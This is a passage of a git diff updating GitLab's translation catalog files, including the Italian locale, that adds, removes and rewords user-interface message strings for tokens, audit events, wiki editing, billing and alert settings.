+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/it/gitlab.po b/locale/it/gitlab.po
index dee51586ef0..a5beeb45996 100644
--- a/locale/it/gitlab.po
+++ b/locale/it/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: it\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:40\n"
+"PO-Revision-Date: 2021-07-01 21:25\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d livello"
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr "%{count} approvazioni da %{name}"
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,11 +672,11 @@ msgstr "%{level_name} non è consentito in un gruppo %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "%{link_start}Leggi di più%{link_end} sulle autorizzazioni di ruolo"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr "%{state} epici"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}scopri di più%{usage_ping_link_end} riguardo a quale informazione è condivisa con GitLab Inc."
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "Errore durante l'attivazione/disattivazione della sottoscrizione per l'iscrizione"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
